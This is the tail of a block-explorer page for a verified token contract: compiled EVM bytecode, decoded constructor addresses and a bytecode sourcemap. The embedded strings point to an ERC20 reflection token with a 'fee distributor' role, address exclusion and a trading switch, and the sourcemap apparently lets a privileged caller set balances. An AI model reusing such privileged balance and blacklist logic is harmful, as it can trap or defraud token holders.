ffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611b05919061243d565b60405180910390a3611cbc565b611b7e81604051806060016040528060268152602001612fbf60269139600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d1d9092919063ffffffff16565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611c1381600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113f090919063ffffffff16565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611cb3919061243d565b60405180910390a35b611d18565b60011515600f60009054906101000a900460ff16151514611d17576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d0e90612d84565b60405180910390fd5b5b505050565b6000838311158290611d65576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d5c9190612338565b60405180910390fd5b5060008385611d749190612da4565b9050809150509392505050565b6000806000611d8e611ee9565b91509150611da581836112fc90919063ffffffff16565b9250505090565b60008083118290611df3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dea9190612338565b60405180910390fd5b5060008385611e029190612e07565b9050809150509392505050565b6000806000611e3b6003611e2d6064876112fc90919063ffffffff16565b6121bc90919063ffffffff16565b90506000611e52828661134690919063ffffffff16565b90508082935093505050915091565b600080600080611e7a85886121bc90919063ffffffff16565b90506000611e9186886121bc90919063ffffffff16565b90506000611ea8828461134690919063ffffffff16565b905082818395509550955050505093509350939050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000806000600e54905060006969e10de76676d0800000905060005b600b8054905081101561216f578260076000600b8481548110611f2b57611f2a612e38565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054118061201957508160086000600b8481548110611fb157611fb0612e38565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b1561203857600e546969e10de76676d0800000945094505050506121b8565b6120c860076000600b848154811061205357612052612e38565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548461134690919063ffffffff16565b925061215a60086000600b84815481106120e5576120e4612e38565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361134690919063ffffffff16565b9150808061216790612e67565b915050611f05565b5061218f6969e10de76676d0800000600e546112fc90919063ffffffff16565b8210156121af57600e546969e10de76676d08000009350935050506121b8565b81819350935050505b9091565b6000808314156121cf5760009050612231565b600082846121dd9190612eb0565b90508284826121ec9190612e07565b1461222c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161222390612f7c565b60405180910390fd5b809150505b92915050565b600080fd5b6000819050919050565b61224f8161223c565b811461225a57600080fd5b50565b60008135905061226c81612246565b92915050565b60006020828403121561228857612287612237565b5b60006122968482850161225d565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156122d95780820151818401526020810190506122be565b838111156122e8576000848401525b50505050565b6000601f19601f8301169050919050565b600061230a8261229f565b61231481856122aa565b93506123248185602086016122bb565b61232d816122ee565b840191505092915050565b6000602082019050818103600083015261235281846122ff565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006123858261235a565b9050919050565b6123958161237a565b81146123a057600080fd5b50565b6000813590506123b28161238c565b92915050565b600080604083850312156123cf576123ce612237565b5b60006123dd858286016123a3565b92505060206123ee8582860161225d565b9150509250929050565b60008115159050919050565b61240d816123f8565b82525050565b60006020820190506124286000830184612404565b92915050565b6124378161223c565b82525050565b6000602082019050612452600083018461242e565b92915050565b60008060006060848603121561247157612470612237565b5b600061247f868287016123a3565b9350506020612490868287016123a3565b92505060406124a18682870161225d565b9150509250925092565b600060ff82169050919050565b6124c1816124ab565b82525050565b60006020820190506124dc60008301846124b8565b92915050565b6000602082840312156124f8576124f7612237565b5b6000612506848285016123a3565b91505092915050565b612518816123f8565b811461252357600080fd5b50565b6000813590506125358161250f565b92915050565b6000806040838503121561255257612551612237565b5b60006125608582860161225d565b925050602061257185828601612526565b9150509250929050565b60008060006060848603121561259457612593612237565b5b60006125a2868287016123a3565b93505060206125b38682870161225d565b92505060406125c48682870161225d565b9150509250925092565b6125d78161237a565b82525050565b60006020820190506125f260008301846125ce565b92915050565b6000806040838503121561260f5761260e612237565b5b600061261d858286016123a3565b925050602061262e858286016123a3565b9150509250929050565b7f4578636c75646564206164647265737365732063616e6e6f742063616c6c207460008201527f6869732066756e6374696f6e0000000000000000000000000000000000000000602082015250565b6000612694602c836122aa565b915061269f82612638565b604082019050919050565b600060208201905081810360008301526126c381612687565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061271157607f821691505b60208210811415612725576127246126ca565b5b50919050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b6000612787602a836122aa565b91506127928261272b565b604082019050919050565b600060208201905081810360008301526127b68161277a565b9050919050565b7f43616c6c6572206973206e6f7420666565206469737472696275746f72000000600082015250565b60006127f3601d836122aa565b91506127fe826127bd565b602082019050919050565b60006020820190508181036000830152612822816127e6565b9050919050565b7f416d6f756e74206d757374206265206c657373207468616e20737570706c7900600082015250565b600061285f601f836122aa565b915061286a82612829565b602082019050919050565b6000602082019050818103600083015261288e81612852565b9050919050565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7320646973616c6c6f7765640000000000000000000000000000000000000000602082015250565b60006128f1602c836122aa565b91506128fc82612895565b604082019050919050565b60006020820190508181036000830152612920816128e4565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061295d6020836122aa565b915061296882612927565b602082019050919050565b6000602082019050818103600083015261298c81612950565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006129cd8261223c565b91506129d88361223c565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612a0d57612a0c612993565b5b828201905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000612a4e601b836122aa565b9150612a5982612a18565b602082019050919050565b60006020820190508181036000830152612a7d81612a41565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612ae06024836122aa565b9150612aeb82612a84565b604082019050919050565b60006020820190508181036000830152612b0f81612ad3565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000612b726022836122aa565b9150612b7d82612b16565b604082019050919050565b60006020820190508181036000830152612ba181612b65565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612c046025836122aa565b9150612c0f82612ba8565b604082019050919050565b60006020820190508181036000830152612c3381612bf7565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000612c966023836122aa565b9150612ca182612c3a565b604082019050919050565b60006020820190508181036000830152612cc581612c89565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b6000612d286029836122aa565b9150612d3382612ccc565b604082019050919050565b60006020820190508181036000830152612d5781612d1b565b9050919050565b50565b6000612d6e6000836122aa565b9150612d7982612d5e565b600082019050919050565b60006020820190508181036000830152612d9d81612d61565b9050919050565b6000612daf8261223c565b9150612dba8361223c565b925082821015612dcd57612dcc612993565b5b828203905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000612e128261223c565b9150612e1d8361223c565b925082612e2d57612e2c612dd8565b5b828204905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000612e728261223c565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415612ea557612ea4612993565b5b600182019050919050565b6000612ebb8261223c565b9150612ec68361223c565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612eff57612efe612993565b5b828202905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000612f666021836122aa565b9150612f7182612f0a565b604082019050919050565b60006020820190508181036000830152612f9581612f59565b905091905056fe45524332303a206275726e20616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212201baadc96e61617ef5cfa782c7454e328b80bd679edecaad613c85278bc0f139464736f6c63430008080033
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
0000000000000000000000005c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d
-----Decoded View---------------
Arg [0] : unif (address): 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f
Arg [1] : unir (address): 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
-----Encoded View---------------
2 Constructor Arguments found :
Arg [0] : 0000000000000000000000005c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f
Arg [1] : 0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d
Deployed Bytecode Sourcemap
5153:9918:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8546:346;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6617:73;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7360:147;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13261:77;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6858:85;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7513:295;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9272:235;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6779:73;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7814:204;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12808:100;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;8898:368;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8285:255;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6949:107;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5016:134;;;:::i;:::-;;4876;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;13123:132;;;:::i;:::-;;12914:95;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4712:69;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6696:77;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8024:255;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7062:153;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7221:133;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13015:102;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8546:346;8594:14;8611:12;:10;:12::i;:::-;8594:29;;8639:11;:19;8651:6;8639:19;;;;;;;;;;;;;;;;;;;;;;;;;8638:20;8630:77;;;;;;;;;;;;:::i;:::-;;;;;;;;;8715:15;8738:19;8749:7;8738:10;:19::i;:::-;8714:43;;;;;;8782:28;8802:7;8782;:15;8790:6;8782:15;;;;;;;;;;;;;;;;:19;;:28;;;;:::i;:::-;8764:7;:15;8772:6;8764:15;;;;;;;;;;;;;;;:46;;;;8827:20;8839:7;8827;;:11;;:20;;;;:::i;:::-;8817:7;:30;;;;8867:23;8882:7;8867:10;;:14;;:23;;;;:::i;:::-;8854:10;:36;;;;8587:305;;8546:346;:::o;6617:73::-;6654:13;6683:5;6676:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6617:73;:::o;7360:147::-;7435:4;7448:39;7457:12;:10;:12::i;:::-;7471:7;7480:6;7448:8;:39::i;:::-;7501:4;7494:11;;7360:147;;;;:::o;13261:77::-;13305:4;13325:11;;;;;;;;;;;13318:18;;13261:77;:::o;6858:85::-;6911:7;5425:21;6927:14;;6858:85;:::o;7513:295::-;7611:4;7624:36;7634:6;7642:9;7653:6;7624:9;:36::i;:::-;7667:121;7676:6;7684:12;:10;:12::i;:::-;7698:89;7736:6;7698:89;;;;;;;;;;;;;;;;;:11;:19;7710:6;7698:19;;;;;;;;;;;;;;;:33;7718:12;:10;:12::i;:::-;7698:33;;;;;;;;;;;;;;;;:37;;:89;;;;;:::i;:::-;7667:8;:121::i;:::-;7802:4;7795:11;;7513:295;;;;;:::o;9272:235::-;9338:7;9373;;9362;:18;;9354:73;;;;;;;;;;;;:::i;:::-;;;;;;;;;9434:19;9457:10;:8;:10::i;:::-;9434:33;;9481:24;9493:11;9481:7;:11;;:24;;;;:::i;:::-;9474:31;;;9272:235;;;:::o;6779:73::-;6820:5;6841:9;;;;;;;;;;;6834:16;;6779:73;:::o;7814:204::-;7902:4;7915:83;7924:12;:10;:12::i;:::-;7938:7;7947:50;7986:10;7947:11;:25;7959:12;:10;:12::i;:::-;7947:25;;;;;;;;;;;;;;;:34;7973:7;7947:34;;;;;;;;;;;;;;;;:38;;:50;;;;:::i;:::-;7915:8;:83::i;:::-;8012:4;8005:11;;7814:204;;;;:::o;12808:100::-;4658:10;4642:26;;:12;;;;;;;;;;;:26;;;4634:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;12902:4:::1;12879:11;:20;12891:7;12879:20;;;;;;;;;;;;;;;;:27;;;;;;;;;;;;;;;;;;12808:100:::0;:::o;8898:368::-;8988:7;5425:21;9012:7;:18;;9004:62;;;;;;;;;;;;:::i;:::-;;;;;;;;;9078:17;9073:192;;9105:15;9128:19;9139:7;9128:10;:19::i;:::-;9104:43;;;;;;9161:7;9154:14;;;;;9073:192;9185:23;9215:19;9226:7;9215:10;:19::i;:::-;9183:51;;;;;;9248:15;9241:22;;;8898:368;;;;;:::o;8285:255::-;4658:10;4642:26;;:12;;;;;;;;;;;:26;;;4634:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;8407:1:::1;8388:21;;:7;:21;;;;8380:78;;;;;;;;;;;;:::i;:::-;;;;;;;;;8484:54;8495:4;8484:54;;;;;;;;;;;;;;;;;:6;:10;;:54;;;;;:::i;:::-;8465:7;:16;8473:7;8465:16;;;;;;;;;;;;;;;:73;;;;8285:255:::0;;;:::o;6949:107::-;7015:7;7038;:16;7046:7;7038:16;;;;;;;;;;;;;;;;7031:23;;6949:107;;;:::o;5016:134::-;4544:12;:10;:12::i;:::-;4534:22;;:6;;;;;;;;;;:22;;;4526:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;5119:1:::1;5082:40;;5103:6;::::0;::::1;;;;;;;;5082:40;;;;;;;;;;;;5146:1;5129:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;5016:134::o:0;4876:::-;4544:12;:10;:12::i;:::-;4534:22;;:6;;;;;;;;;;:22;;;4526:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;4976:1:::1;4952:26;;:12;;;;;;;;;;;:26;;;4943:36;;;::::0;::::1;;5001:7;4986:12;;:22;;;;;;;;;;;;;;;;;;4876:134:::0;:::o;13123:132::-;4658:10;4642:26;;:12;;;;;;;;;;;:26;;;4634:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;13199:4:::1;13184:19;;:11;;;;;;;;;;;:19;;;13180:74;;;13220:5;13206:11;;:19;;;;;;;;;;;;;;;;;;13180:74;;;13248:4;13234:11;;:18;;;;;;;;;;;;;;;;;;13180:74;13123:132::o:0;12914:95::-;4658:10;4642:26;;:12;;;;;;;;;;;:26;;;4634:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;13002:5:::1;12979:11;:20;12991:7;12979:20;;;;;;;;;;;;;;;;:28;;;;;;;;;;;;;;;;;;12914:95:::0;:::o;4712:69::-;4750:7;4773:6;;;;;;;;;;;4766:13;;4712:69;:::o;6696:77::-;6735:13;6764:7;6757:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6696:77;:::o;8024:255::-;8117:4;8130:129;8139:12;:10;:12::i;:::-;8153:7;8162:96;8201:15;8162:96;;;;;;;;;;;;;;;;;:11;:25;8174:12;:10;:12::i;:::-;8162:25;;;;;;;;;;;;;;;:34;8188:7;8162:34;;;;;;;;;;;;;;;;:38;;:96;;;;;:::i;:::-;8130:8;:129::i;:::-;8273:4;8266:11;;8024:255;;;;:::o;7062:153::-;7140:4;7153:42;7163:12;:10;:12::i;:::-;7177:9;7188:6;7153:9;:42::i;:::-;7209:4;7202:11;;7062:153;;;;:::o;7221:133::-;7302:7;7325:11;:18;7337:5;7325:18;;;;;;;;;;;;;;;:27;7344:7;7325:27;;;;;;;;;;;;;;;;7318:34;;7221:133;;;;:::o;13015:102::-;13075:4;13095:11;:20;13107:7;13095:20;;;;;;;;;;;;;;;;;;;;;;;;;13088:27;;13015:102;;;:::o;1685:122::-;1743:7;1766:39;1770:1;1773;1766:39;;;;;;;;;;;;;;;;;:3;:39::i;:::-;1759:46;;1685:122;;;;:::o;1163:126::-;1221:7;1244:43;1248:1;1251;1244:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;1237:50;;1163:126;;;;:::o;91:105::-;144:15;183:10;168:26;;91:105;:::o;13483:389::-;13542:7;13551;13560;13569;13578;13595:23;13620:12;13636:20;13648:7;13636:11;:20::i;:::-;13594:62;;;;13663:19;13686:10;:8;:10::i;:::-;13663:33;;13704:15;13721:23;13746:12;13762:39;13774:7;13783:4;13789:11;13762;:39::i;:::-;13703:98;;;;;;13816:7;13825:15;13842:4;13848:15;13865:4;13808:62;;;;;;;;;;;;;;;;13483:389;;;;;;;:::o;996:161::-;1054:7;1070:9;1086:1;1082;:5;;;;:::i;:::-;1070:17;;1107:1;1102;:6;;1094:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;1154:1;1147:8;;;996:161;;;;:::o;9513:313::-;9619:1;9602:19;;:5;:19;;;;9594:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;9696:1;9677:21;;:7;:21;;;;9669:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;9774:6;9744:11;:18;9756:5;9744:18;;;;;;;;;;;;;;;:27;9763:7;9744:27;;;;;;;;;;;;;;;:36;;;;9808:7;9792:32;;9801:5;9792:32;;;9817:6;9792:32;;;;;;:::i;:::-;;;;;;;;9513:313;;;:::o;9832:991::-;9943:1;9925:20;;:6;:20;;;;9917:70;;;;;;;;;;;;:::i;:::-;;;;;;;;;10023:1;10002:23;;:9;:23;;;;9994:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;10089:1;10080:6;:10;10072:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;10147:11;:19;10159:6;10147:19;;;;;;;;;;;;;;;;;;;;;;;;;:45;;;;10170:11;:22;10182:9;10170:22;;;;;;;;;;;;;;;;;;;;;;;;;10147:45;10143:76;;;10213:1;10203:6;:11;10194:25;;;;;;;;;;;;:::i;:::-;;;;;;;;;10143:76;10245:4;10230:19;;:11;;;;;;;;;;;:19;;;:46;;;;10263:13;:11;:13::i;:::-;10253:23;;:6;:23;;;10230:46;:76;;;;10293:13;:11;:13::i;:::-;10280:26;;:9;:26;;;10230:76;10226:596;;;10319:11;:19;10331:6;10319:19;;;;;;;;;;;;;;;;;;;;;;;;;:46;;;;;10343:11;:22;10355:9;10343:22;;;;;;;;;;;;;;;;;;;;;;;;;10342:23;10319:46;10315:459;;;10392:69;10412:6;10392:69;;;;;;;;;;;;;;;;;:7;:15;10400:6;10392:15;;;;;;;;;;;;;;;;:19;;:69;;;;;:::i;:::-;10374:7;:15;10382:6;10374:15;;;;;;;;;;;;;;;:87;;;;10489:30;10512:6;10489:7;:18;10497:9;10489:18;;;;;;;;;;;;;;;;:22;;:30;;;;:::i;:::-;10468:7;:18;10476:9;10468:18;;;;;;;;;;;;;;;:51;;;;10548:9;10531:35;;10540:6;10531:35;;;10559:6;10531:35;;;;;;:::i;:::-;;;;;;;;10315:459;;;10598:69;10618:6;10598:69;;;;;;;;;;;;;;;;;:7;:15;10606:6;10598:15;;;;;;;;;;;;;;;;:19;;:69;;;;;:::i;:::-;10580:7;:15;10588:6;10580:15;;;;;;;;;;;;;;;:87;;;;10695:30;10718:6;10695:7;:18;10703:9;10695:18;;;;;;;;;;;;;;;;:22;;:30;;;;:::i;:::-;10674:7;:18;10682:9;10674:18;;;;;;;;;;;;;;;:51;;;;10754:9;10737:35;;10746:6;10737:35;;;10765:6;10737:35;;;;;;:::i;:::-;;;;;;;;10315:459;10226:596;;;10811:4;10796:19;;:11;;;;;;;;;;;:19;;;10787:33;;;;;;;;;;;;:::i;:::-;;;;;;;;;10226:596;9832:991;;;:::o;1295:172::-;1381:7;1410:1;1405;:6;;1413:12;1397:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;1433:9;1449:1;1445;:5;;;;:::i;:::-;1433:17;;1464:1;1457:8;;;1295:172;;;;;:::o;14414:149::-;14455:7;14472:15;14489;14508:19;:17;:19::i;:::-;14471:56;;;;14541:20;14553:7;14541;:11;;:20;;;;:::i;:::-;14534:27;;;;14414:149;:::o;1813:171::-;1899:7;1927:1;1923;:5;1930:12;1915:28;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;1950:9;1966:1;1962;:5;;;;:::i;:::-;1950:17;;1981:1;1974:8;;;1813:171;;;;;:::o;13878:212::-;13938:7;13947;13963:12;13978:23;13999:1;13978:16;13990:3;13978:7;:11;;:16;;;;:::i;:::-;:20;;:23;;;;:::i;:::-;13963:38;;14008:23;14034:17;14046:4;14034:7;:11;;:17;;;;:::i;:::-;14008:43;;14066:15;14083:4;14058:30;;;;;;13878:212;;;:::o;14096:312::-;14191:7;14200;14209;14225:15;14243:24;14255:11;14243:7;:11;;:24;;;;:::i;:::-;14225:42;;14274:12;14289:21;14298:11;14289:4;:8;;:21;;;;:::i;:::-;14274:36;;14317:23;14343:17;14355:4;14343:7;:11;;:17;;;;:::i;:::-;14317:43;;14375:7;14384:15;14401:4;14367:39;;;;;;;;;14096:312;;;;;;;:::o;4787:83::-;4833:7;4856:12;;;;;;;;;;;4849:19;;4787:83;:::o;14569:501::-;14619:7;14628;14644:15;14662:7;;14644:25;;14676:15;5425:21;14676:25;;14719:9;14714:255;14738:9;:16;;;;14734:1;:20;14714:255;;;14796:7;14772;:21;14780:9;14790:1;14780:12;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;14772:21;;;;;;;;;;;;;;;;:31;:66;;;;14831:7;14807;:21;14815:9;14825:1;14815:12;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;14807:21;;;;;;;;;;;;;;;;:31;14772:66;14768:97;;;14848:7;;5425:21;14840:25;;;;;;;;;14768:97;14882:34;14894:7;:21;14902:9;14912:1;14902:12;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;14894:21;;;;;;;;;;;;;;;;14882:7;:11;;:34;;;;:::i;:::-;14872:44;;14933:34;14945:7;:21;14953:9;14963:1;14953:12;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;14945:21;;;;;;;;;;;;;;;;14933:7;:11;;:34;;;;:::i;:::-;14923:44;;14756:3;;;;;:::i;:::-;;;;14714:255;;;;14989:20;5425:21;14989:7;;:11;;:20;;;;:::i;:::-;14979:7;:30;14975:61;;;15019:7;;5425:21;15011:25;;;;;;;;14975:61;15051:7;15060;15043:25;;;;;;14569:501;;;:::o;1473:206::-;1531:7;1556:1;1551;:6;1547:29;;;1573:1;1566:8;;;;1547:29;1582:9;1598:1;1594;:5;;;;:::i;:::-;1582:17;;1623:1;1618;1614;:5;;;;:::i;:::-;:10;1606:56;;;;;;;;;;;;:::i;:::-;;;;;;;;;1676:1;1669:8;;;1473:206;;;;;:::o;88:117:1:-;197:1;194;187:12;334:77;371:7;400:5;389:16;;334:77;;;:::o;417:122::-;490:24;508:5;490:24;:::i;:::-;483:5;480:35;470:63;;529:1;526;519:12;470:63;417:122;:::o;545:139::-;591:5;629:6;616:20;607:29;;645:33;672:5;645:33;:::i;:::-;545:139;;;;:::o;690:329::-;749:6;798:2;786:9;777:7;773:23;769:32;766:119;;;804:79;;:::i;:::-;766:119;924:1;949:53;994:7;985:6;974:9;970:22;949:53;:::i;:::-;939:63;;895:117;690:329;;;;:::o;1025:99::-;1077:6;1111:5;1105:12;1095:22;;1025:99;;;:::o;1130:169::-;1214:11;1248:6;1243:3;1236:19;1288:4;1283:3;1279:14;1264:29;;1130:169;;;;:::o;1305:307::-;1373:1;1383:113;1397:6;1394:1;1391:13;1383:113;;;1482:1;1477:3;1473:11;1467:18;1463:1;1458:3;1454:11;1447:39;1419:2;1416:1;1412:10;1407:15;;1383:113;;;1514:6;1511:1;1508:13;1505:101;;;1594:1;1585:6;1580:3;1576:16;1569:27;1505:101;1354:258;1305:307;;;:::o;1618:102::-;1659:6;1710:2;1706:7;1701:2;1694:5;1690:14;1686:28;1676:38;;1618:102;;;:::o;1726:364::-;1814:3;1842:39;1875:5;1842:39;:::i;:::-;1897:71;1961:6;1956:3;1897:71;:::i;:::-;1890:78;;1977:52;2022:6;2017:3;2010:4;2003:5;1999:16;1977:52;:::i;:::-;2054:29;2076:6;2054:29;:::i;:::-;2049:3;2045:39;2038:46;;1818:272;1726:364;;;;:::o;2096:313::-;2209:4;2247:2;2236:9;2232:18;2224:26;;2296:9;2290:4;2286:20;2282:1;2271:9;2267:17;2260:47;2324:78;2397:4;2388:6;2324:78;:::i;:::-;2316:86;;2096:313;;;;:::o;2415:126::-;2452:7;2492:42;2485:5;2481:54;2470:65;;2415:126;;;:::o;2547:96::-;2584:7;2613:24;2631:5;2613:24;:::i;:::-;2602:35;;2547:96;;;:::o;2649:122::-;2722:24;2740:5;2722:24;:::i;:::-;2715:5;2712:35;2702:63;;2761:1;2758;2751:12;2702:63;2649:122;:::o;2777:139::-;2823:5;2861:6;2848:20;2839:29;;2877:33;2904:5;2877:33;:::i;:::-;2777:139;;;;:::o;2922:474::-;2990:6;2998;3047:2;3035:9;3026:7;3022:23;3018:32;3015:119;;;3053:79;;:::i;:::-;3015:119;3173:1;3198:53;3243:7;3234:6;3223:9;3219:22;3198:53;:::i;:::-;3188:63;;3144:117;3300:2;3326:53;3371:7;3362:6;3351:9;3347:22;3326:53;:::i;:::-;3316:63;;3271:118;2922:474;;;;;:::o;3402:90::-;3436:7;3479:5;3472:13;3465:21;3454:32;;3402:90;;;:::o;3498:109::-;3579:21;3594:5;3579:21;:::i;:::-;3574:3;3567:34;3498:109;;:::o;3613:210::-;3700:4;3738:2;3727:9;3723:18;3715:26;;3751:65;3813:1;3802:9;3798:17;3789:6;3751:65;:::i;:::-;3613:210;;;;:::o;3829:118::-;3916:24;3934:5;3916:24;:::i;:::-;3911:3;3904:37;3829:118;;:::o;3953:222::-;4046:4;4084:2;4073:9;4069:18;4061:26;;4097:71;4165:1;4154:9;4150:17;4141:6;4097:71;:::i;:::-;3953:222;;;;:::o;4181:619::-;4258:6;4266;4274;4323:2;4311:9;4302:7;4298:23;4294:32;4291:119;;;4329:79;;:::i;:::-;4291:119;4449:1;4474:53;4519:7;4510:6;4499:9;4495:22;4474:53;:::i;:::-;4464:63;;4420:117;4576:2;4602:53;4647:7;4638:6;4627:9;4623:22;4602:53;:::i;:::-;4592:63;;4547:118;4704:2;4730:53;4775:7;4766:6;4755:9;4751:22;4730:53;:::i;:::-;4720:63;;4675:118;4181:619;;;;;:::o;4806:86::-;4841:7;4881:4;4874:5;4870:16;4859:27;;4806:86;;;:::o;4898:112::-;4981:22;4997:5;4981:22;:::i;:::-;4976:3;4969:35;4898:112;;:::o;5016:214::-;5105